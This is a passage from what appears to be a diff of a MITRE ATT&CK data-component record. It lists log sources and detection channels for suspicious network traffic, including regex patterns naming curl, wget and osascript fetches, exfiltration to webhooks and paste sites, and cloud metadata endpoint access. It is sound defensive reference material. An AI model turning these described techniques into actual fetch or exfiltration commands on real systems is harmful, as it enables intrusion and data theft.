patterns, uncommon TLDs, URL shorteners" + }, + { + "name": "macos:unifiedlog", + "channel": "open URL|clicked link|LSQuarantineAttach" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious GET/POST; downloader patterns" + }, + { + "name": "NSM:Flow", + "channel": "SSH logins or scp activity" + }, + { + "name": "NSM:Flow", + "channel": "remote login and transfer" + }, + { + "name": "esxi:vob", + "channel": "NFS/remote access logs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Traffic between instances" + }, + { + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=5005 (WLAN), EventCode=302 (Bluetooth)" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious long-lived or reattached remote desktop sessions from unexpected IPs" + }, + { + "name": "NSM:Flow", + "channel": "HTTP payloads with SQLi/LFI/JNDI/deserialization indicators" + }, + { + "name": "NSM:Flow", + "channel": "outbound egress from web host after suspicious request" + }, + { + "name": "NSM:Flow", + "channel": "Requests towards cloud metadata or command & control from pod IPs" + }, + { + "name": "ALB:HTTPLogs", + "channel": "AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts" + }, + { + "name": "NSM:Flow", + "channel": "Connections to TCP 427 (SLP) or vCenter web services from untrusted sources" + }, + { + "name": "NSM:Flow", + "channel": "NetFlow/sFlow for odd egress to Internet from mgmt plane" + }, + { + "name": "NSM:Flow", + "channel": "packet capture or DPI logs" + }, + { + "name": "NSM:Flow", + "channel": "http.log" + }, + { + "name": "NSM:Flow", + "channel": "SMB2_LOGOFF/SMB_TREE_DISCONNECT" + }, + { + "name": "macos:unifiedlog", + "channel": "Connections to suspicious domains with mismatched certificate or unusual patterns" + }, + { + "name": "NSM:Flow", + "channel": "Unusual Base64-encoded content in URI, headers, or POST body" + }, + { + "name": "NSM:Flow", + "channel": "Base64 strings or gzip in URI, headers, or POST body" + }, + { + "name": "macos:unifiedlog", + "channel": "HTTP POST with encoded content in user-agent or cookie field" + }, + { + "name": "esxi:vmkernel", + "channel": "Outbound traffic using encoded payloads post-login" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction" + }, + { + "name": "NSM:Flow", + "channel": "Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval." + }, + { + "name": "NSM:Flow", + "channel": "Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host." + }, + { + "name": "NSM:Flow", + "channel": "Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host." + }, + { + "name": "NSM:Flow", + "channel": "Inbound to 22/5900/8080 and follow-on internal connections." + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64" + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP body contains long Base64 sections" + }, + { + "name": "NSM:Flow", + "channel": "http: Base64/MIME looking payloads from ESXi host IP" + }, + { + "name": "NSM:Flow", + "channel": "LDAP Bind/Search" + }, + { + "name": "NSM:Flow", + "channel": "LDAP Query" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream (subsystem: com.apple.system.networking)" + }, + { + "name": "NSM:Flow", + "channel": "smtp.log" + }, + { + "name": "NSM:Flow", + "channel": "smtp.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "remote CLI session detection" + }, + { + "name": "macos:unifiedlog", + "channel": "Encrypted connection with anomalous payload entropy" + }, + { + "name": "esxcli:network", + "channel": "Socket sessions with randomized payloads inconsistent with TLS" + }, + { + "name": "NSM:Connections", + "channel": "Symmetric encryption detected without TLS handshake sequence" + }, + { + "name": "NSM:Flow", + "channel": "http.log, ftp.log" + }, + { + "name": "NSM:Flow", + "channel": "PCAP inspection" + }, + { + "name": "NSM:Flow", + "channel": "large HTTPS POST requests to webhook endpoints" + }, + { + "name": "esxi:vmkernel", + "channel": "HTTPS POST connections to webhook endpoints" + }, + { + "name": "NSM:Flow", + "channel": "Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip." + }, + { + "name": "NSM:Flow", + "channel": "Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \u2264TimeWindow by outbound SF from same host to src_ip." + }, + { + "name": "NSM:Flow", + "channel": "Inbound one-off packet to uncommon port \u2192 outbound SF to same src_ip within TimeWindow." + }, + { + "name": "networkdevice:config", + "channel": "NAT table modification (add/update/delete rule)" + }, + { + "name": "NSM:Flow", + "channel": "large upload to firmware interface port or path" + }, + { + "name": "macos:unifiedlog", + "channel": "Rapid incoming TLS handshakes or HTTP requests in quick succession" + }, + { + "name": "NSM:Flow", + "channel": "http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources" + }, + { + "name": "NSM:Flow", + "channel": "http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains" + }, + { + "name": "NSM:Flow", + "channel": "HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)" + }, + { + "name": "NSM:Connections", + "channel": "TLS handshake + HTTP headers" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log + http.log" + }, + { + "name": "macos:unifiedlog", + "channel": "network, socket, and http logs" + }, + { + "name": "NSM:Firewall", + "channel": "TLS/HTTP inspection" + }, + { + "name": "NSM:Flow", + "channel": "http/file-xfer: Outbound transfer of large video-like MIME types soon after capture" + }, + { + "name": "container:proxy", + "channel": "outbound/inbound network activity from spawned pods" + }, + { + "name": "esxcli:network", + "channel": "listening sockets bound to non-standard ports" + }, + { + "name": "NSM:Flow", + "channel": "Outbound SCP, TFTP, or FTP sessions carrying configuration file content" + }, + { + "name": "NSM:Flow", + "channel": "Session Transfer Content" + }, + { + "name": "NSM:Flow", + "channel": "Captured File Content" + }, + { + "name": "NSM:Flow", + "channel": "C2 exfiltration" + }, + { + "name": "NSM:Flow", + "channel": "Transferred file observations" + }, + { + "name": "apache:access_log", + "channel": "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders" + }, + { + "name": "NSM:Flow", + "channel": "http::post: Outbound HTTP POST from host shortly after DB export activity" + }, + { + "name": "NSM:Flow", + "channel": "HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage" + }, + { + "name": "NSM:Flow", + "channel": "Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions" + }, + { + "name": "NSM:Flow", + "channel": "New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs" + }, + { + "name": "NSM:Flow", + "channel": "New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot" + }, + { + "name": "docker:events", + "channel": "remote API calls to /containers/create or /containers/{id}/start" + }, + { + "name": "NSM:Flow", + "channel": "http::request: Network connection to package registry or C2 from interpreter shortly after install" + }, + { + "name": "linux:syslog", + "channel": "Integrity mismatch warnings or malformed packets detected" + }, + { + "name": "NSM:Flow", + "channel": "http::request: Outbound HTTP initiated by Python interpreter" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Outbound requests with forged tokens/cookies in headers" + }, + { + "name": "linux:syslog", + "channel": "DNS response IPs followed by connections to non-standard calculated ports" + }, + { + "name": "macos:unifiedlog", + "channel": "DNS responses followed by connections to ports outside standard ranges" + }, + { + "name": "macos:unifiedlog", + "channel": "Persistent outbound traffic to mining domains" + }, + { + "name": "macos:unifiedlog", + "channel": "Encrypted session initiation by unexpected binary" + }, + { + "name": "esxi:vmkernel", + "channel": "Inspection of sockets showing encrypted sessions from non-baseline processes" + }, + { + "name": "NSM:Connections", + "channel": "Abnormal certificate chains or non-standard ports carrying TLS" + }, + { + "name": "NSM:Flow", + "channel": "DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs." + }, + { + "name": "NSM:Flow", + "channel": "large HTTPS POST requests to text storage domains" + }, + { + "name": "esxi:vmkernel", + "channel": "HTTPS POST connections to pastebin-like domains" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected ARP replies or DNS responses inconsistent with authoritative servers" + }, + { + "name": "NSM:Flow", + "channel": "TLS downgrade or inconsistent DNS answers" + }, + { + "name": "NSM:Flow", + "channel": "Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Large volume of malformed or synthetic payloads to application endpoints prior to failure" + }, + { + "name": "networkconfig ", + "channel": "interface flag PROMISC, netstat | ip link | ethtool" + }, + { + "name": "macos:unifiedlog", + "channel": "eventMessage = 'promiscuous'" + }, + { + "name": "networkdevice:syslog", + "channel": "config change (e.g., logging buffered, pcap buffers)" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound HTTPS connections to code repository APIs" + }, + { + "name": "azure:activity", + "channel": "networkInsightsLogs" + }, + { + "name": "gcp:audit", + "channel": "network.query*" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational", + "channel": "Unusual external domain access" + }, + { + "name": "NSM:Flow", + "channel": "conn.log or http.log" + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs" + }, + { + "name": "NSM:Flow", + "channel": "dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently" + }, + { + "name": "NSM:Flow", + "channel": "http: suspicious long tokens with custom alphabets in body/headers" + }, + { + "name": "NSM:Flow", + "channel": "http: HTTP bodies from ESXi host IPs containing long, non-standard tokens" + }, + { + "name": "NSM:Flow", + "channel": "Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols" + }, + { + "name": "NSM:Flow", + "channel": "HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts" + }, + { + "name": "NSM:Flow", + "channel": "Egress to non-approved networks from host after terminal exec" + }, + { + "name": "NSM:Flow", + "channel": "Flow/PCAP analysis for outbound payloads" + }, + { + "name": "NSM:Flow", + "channel": "conn.log + files.log + ssl.log" + }, + { + "name": "macos:unifiedlog", + "channel": "eventMessage = 'open', 'sendto', 'connect'" + }, + { + "name": "NSM:Flow", + "channel": "HTTPS or custom protocol traffic with large payloads" + }, + { + "name": "esxi:vmkernel", + "channel": "network stack module logs" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected script or binary content returned in HTTP response body" + }, + { + "name": "NSM:Flow", + "channel": "Injected content responses with unexpected script/malware signatures" + }, + { + "name": "NSM:Flow", + "channel": "Content injection observed in HTTPS responses with mismatched certificates or altered payloads" + }, + { + "name": "NSM:Firewall", + "channel": "High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion" + }, + { + "name": "NSM:Firewall", + "channel": "Anomalous TCP SYN or ACK spikes from specific source or interface" + }, + { + "name": "saas:confluence", + "channel": "REST API access from non-browser agents" + }, + { + "name": "Netfilter/iptables", + "channel": "Forwarded packets log" + }, + { + "name": "NSM:Flow", + "channel": "Relay patterns across IP hops" + }, + { + "name": "NSM:Firewall", + "channel": "Outbound encrypted traffic" + }, + { + "name": "NSM:Flow", + "channel": "ldap.log" + }, + { + "name": "macos:unifiedlog", + "channel": "dns-sd, mDNSResponder, socket activity" + }, + { + "name": "networkdevice:IDS", + "channel": "content inspection / PCAP / HTTP body" + }, + { + "name": "NSM:Flow", + "channel": "Probe responses from unauthorized APs responding to client probe requests" + }, + { + "name": "auditd:SYSCALL", + "channel": "setsockopt, ioctl modifying ARP entries" + }, + { + "name": "NSM:Flow", + "channel": "Excessive gratuitous ARP replies on local subnet" + }, + { + "name": "NSM:Flow", + "channel": "Inbound HTTP POST with suspicious payload size or user-agent" + }, + { + "name": "NSM:Flow", + "channel": "POST requests to .php, .jsp, .aspx files with high entropy body" + }, + { + "name": "NSM:Flow", + "channel": "dns.log" + }, + { + "name": "NSM:FLow", + "channel": "dns.log" + }, + { + "name": "NSM:Flow", + "channel": "Encrypted tunnels or proxy traffic to non-standard destinations" + }, + { + "name": "esxi:vmkernel", + "channel": "Suspicious traffic filtered or redirected by VM networking stack" + }, + { + "name": "NSM:Flow", + "channel": "large transfer from management IPs to unauthorized host" + }, + { + "name": "NSM:Flow", + "channel": "Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)" + }, + { + "name": "NSM:Flow", + "channel": "ftp.log, smb_files.log" + }, + { + "name": "NSM:Flow", + "channel": "ftp.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "mirror/SPAN port" + }, + { + "name": "NSM:Flow", + "channel": "ftp.log, conn.log, smb_files.log" + }, + { + "name": "linux:syslog", + "channel": "Multiple NXDOMAIN responses and high entropy domains" + }, + { + "name": "NSM:Flow", + "channel": "SSL/TLS Inspection or PCAP" + }, + { + "name": "NSM:Flow", + "channel": "conn.log, ssl.log" + }, + { + "name": "macos:unifiedlog", + "channel": "process + network activity" + }, + { + "name": "NSM:Flow", + "channel": "http, dns, smb, ssl logs" + }, + { + "name": "NSM:Flow", + "channel": "dns, ssl, conn" + }, + { + "name": "NSM:Flow", + "channel": "conn.log, http.log, dns.log, ssl.log" + }, + { + "name": "networkdevice:syslog", + "channel": "Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests" + }, + { + "name": "NSM:Flow", + "channel": "ICMP/UDP traffic (Wireshark, Suricata, Zeek)" + }, + { + "name": "NSM:Flow", + "channel": "icmp.log, weird.log" + }, + { + "name": "NSM:Flow", + "channel": "ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)" + }, + { + "name": "esxi:vmkernel", + "channel": "VMCI syslog entries" + }, + { + "name": "NSM:Firewall", + "channel": "ICMP/UDP protocol anomaly" + }, + { + "name": "NSM:Flow", + "channel": "Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts" + }, + { + "name": "NSM:Flow", + "channel": "DHCP OFFER or ACK with unauthorized DNS/gateway parameters" + }, + { + "name": "NSM:Flow", + "channel": "Multiple DHCP OFFER responses for a single DISCOVER" + }, + { + "name": "NSM:Flow", + "channel": "SSL/TLS Handshake Analysis" + }, + { + "name": "NSM:Flow", + "channel": "HTTP Header Metadata" + }, + { + "name": "NSM:Flow", + "channel": "Network Capture TLS/HTTP" + }, + { + "name": "NSM:Content", + "channel": "SSL Certificate Metadata" + }, + { + "name": "NSM:Content", + "channel": "HTTP Header Metadata" + }, + { + "name": "NSM:Content", + "channel": "TLS Fingerprint and Certificate Analysis" + }, + { + "name": "NSM:Flow", + "channel": "container egress to unknown IPs/domains" + }, + { + "name": "gcp:vpcflow", + "channel": "first 5m egress to unknown ASNs" + }, + { + "name": "NSM:Flow", + "channel": "HTTP Request Logging" + }, + { + "name": "WinEventLog:iis", + "channel": "IIS Logs" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.WebKit" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs" + }, + { + "name": "NSM:Flow", + "channel": "ssh connections originating from third-party CIDRs" + }, + { + "name": "NSM:Flow", + "channel": "ssh/smb connections to internal resources from third-party devices" + }, + { + "name": "NSM:Flow", + "channel": "Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)" + }, + { + "name": "NSM:Flow", + "channel": "host switch egress data" + }, + { + "name": "NSM:Flow", + "channel": "Outbound HTTP/S" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem: com.apple.WebKit or com.apple.WebKit.Networking" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log - Certificate Analysis" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log, conn.log" + }, + { + "name": "NSM:Flow", + "channel": "ssl.log, x509.log" + }, + { + "name": "NSM:Flow", + "channel": "Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\u00d76 + 16\u00d7MAC)" + }, + { + "name": "WIDS:AssociationLogs", + "channel": "Unauthorized AP or anomalous MAC address connection attempts" + }, + { + "name": "macos:unifiedlog", + "channel": "encrypted outbound traffic carrying unexpected application data" + }, + { + "name": "esxcli:network", + "channel": "listening sockets bound with non-standard encapsulated protocols" + }, + { + "name": "macos:unifiedlog", + "channel": "Persistent outbound connections with consistent periodicity" + }, + { + "name": "macos:unifiedlog", + "channel": "TLS connections with abnormal handshake sequence or self-signed cert" + }, + { + "name": "esxcli:network", + "channel": "Socket inspection showing RSA key exchange outside baseline endpoints" + }, + { + "name": "IDS:TLSInspection", + "channel": "Malformed certs, incomplete asymmetric handshakes, or invalid CAs" + }, + { + "name": "macos:unifiedlog", + "channel": "Web server process initiating outbound TCP connections not tied to normal server traffic" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound TLS connections to cloud storage providers" + }, + { + "name": "saas:box", + "channel": "API calls exceeding baseline thresholds" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound HTTPS connections to cloud storage APIs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "High volume internal-to-internal IP transfer or cross-account cloud transfer" + }, + { + "name": "etw:Microsoft-Windows-WinINet", + "channel": "WinINet API telemetry" + }, + { + "name": "macos:unifiedlog", + "channel": "process, network" + }, + { + "name": "NSM:Connections", + "channel": "Unusual POST requests to admin or upload endpoints" + }, + { + "name": "NSM:Flow", + "channel": "Suspicious POSTs to upload endpoints" + }, + { + "name": "networkdevice:syslog", + "channel": "Authentication failures or unusual community string usage in SNMP queries" + }, + { + "name": "API:ConfigRepoAudit", + "channel": "Access to configuration repository endpoints, unusual enumeration requests or mass downloads" + }, + { + "name": "NSM:Content", + "channel": "Traffic on RPC DRSUAPI" + }, + { + "name": "macos:unifiedlog", + "channel": "process = 'ssh' OR eventMessage CONTAINS 'ssh'" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0085\", \"external_id\": \"DC0085\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Network Traffic\", \"channel\": \"None\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"Process within container accesses link-local address 169.254.169.254\"}, {\"name\": \"WebProxy:AccessLogs\", \"channel\": \"SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mqtt.log / xmpp.log (custom log feeds)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mqtt.log or AMQP custom log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mqtt.log, xmpp.log, amqp.log\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"ACL/Firewall rule modification or new route injection\"}, {\"name\": \"m365:office\", \"channel\": \"External HTTP/DNS connection from Office binary shortly after macro trigger\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP/UDP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TCP session tracking\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Captured packet payloads\"}, {\"name\": \"NSM:Flow\", \"channel\": \"session behavior\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"External C2 channel over TLS\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http/file-xfer: Inbound/outbound transfer of ELF shared objects\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, files.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"unexpected network activity initiated shortly after shell session starts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, ssl.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SPAN or port-mirrored HTTP/S\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, ssl.log, websocket.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process + network metrics correlation for bandwidth saturation\"}, {\"name\": \"docker:stats\", \"channel\": \"unusual network TX/RX byte deltas\"}, {\"name\": \"etw:Microsoft-Windows-WinINet\", \"channel\": \"HTTPS Inspection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log\"}, {\"name\": \"linux:syslog\", \"channel\": \"Query to suspicious domain with high entropy or low reputation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DNS query with pseudo-random subdomain patterns\"}, {\"name\": \"azure:vpcflow\", \"channel\": \"HTTP requests to 169.254.169.254 or Azure Metadata endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Browser connections to known C2 or dynamic DNS domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Session History Reset\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP \"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network flow\"}, {\"name\": \"linux:syslog\", \"channel\": \"curl|wget|python .*http\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"curl|osascript.*open location\"}, {\"name\": \"NSM:Flow\", \"channel\": \"query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes\"}, {\"name\": \"etw:Microsoft-Windows-NDIS-PacketCapture\", \"channel\": \"TLS Handshake/Network Flow\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP/TLS Logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem: com.apple.network\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unexpected SQL or application log entries showing tampered or malformed data\"}, {\"name\": \"EDR:hunting\", \"channel\": \"Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious URL patterns, uncommon TLDs, URL shorteners\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"open URL|clicked link|LSQuarantineAttach\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious GET/POST; downloader patterns\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SSH logins or scp activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"remote login and transfer\"}, {\"name\": \"esxi:vob\", \"channel\": \"NFS/remote access logs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Traffic between instances\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=5005 (WLAN), EventCode=302 (Bluetooth)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious long-lived or reattached remote desktop sessions from unexpected IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP payloads with SQLi/LFI/JNDI/deserialization indicators\"}, {\"name\": \"NSM:Flow\", \"channel\": \"outbound egress from web host after suspicious request\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Requests towards cloud metadata or command & control from pod IPs\"}, {\"name\": \"ALB:HTTPLogs\", \"channel\": \"AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connections to TCP 427 (SLP) or vCenter web services from untrusted sources\"}, {\"name\": \"NSM:Flow\", \"channel\": \"NetFlow/sFlow for odd egress to Internet from mgmt plane\"}, {\"name\": \"NSM:Flow\", \"channel\": \"packet capture or DPI logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SMB2_LOGOFF/SMB_TREE_DISCONNECT\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Connections to suspicious domains with mismatched certificate or unusual patterns\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unusual Base64-encoded content in URI, headers, or POST body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Base64 strings or gzip in URI, headers, or POST body\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"HTTP POST with encoded content in user-agent or cookie field\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Outbound traffic using encoded payloads post-login\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound to 22/5900/8080 and follow-on internal connections.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP body contains long Base64 sections\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: Base64/MIME looking payloads from ESXi host IP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"LDAP Bind/Search\"}, {\"name\": \"NSM:Flow\", \"channel\": \"LDAP Query\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream (subsystem: com.apple.system.networking)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smtp.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smtp.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"remote CLI session detection\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Encrypted connection with anomalous payload entropy\"}, {\"name\": \"esxcli:network\", \"channel\": \"Socket sessions with randomized payloads inconsistent with TLS\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Symmetric encryption detected without TLS handshake sequence\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, ftp.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"PCAP inspection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large HTTPS POST requests to webhook endpoints\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"HTTPS POST connections to webhook endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \\u2264TimeWindow by outbound SF from same host to src_ip.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound one-off packet to uncommon port \\u2192 outbound SF to same src_ip within TimeWindow.\"}, {\"name\": \"networkdevice:config\", \"channel\": \"NAT table modification (add/update/delete rule)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large upload to firmware interface port or path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Rapid incoming TLS handshakes or HTTP requests in quick succession\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)\"}, {\"name\": \"NSM:Connections\", \"channel\": \"TLS handshake + HTTP headers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log + http.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network, socket, and http logs\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"TLS/HTTP inspection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http/file-xfer: Outbound transfer of large video-like MIME types soon after capture\"}, {\"name\": \"container:proxy\", \"channel\": \"outbound/inbound network activity from spawned pods\"}, {\"name\": \"esxcli:network\", \"channel\": \"listening sockets bound to non-standard ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound SCP, TFTP, or FTP sessions carrying configuration file content\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Session Transfer Content\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Captured File Content\"}, {\"name\": \"NSM:Flow\", \"channel\": \"C2 exfiltration\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Transferred file observations\"}, {\"name\": \"apache:access_log\", \"channel\": \"Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::post: Outbound HTTP POST from host shortly after DB export activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New egress from container 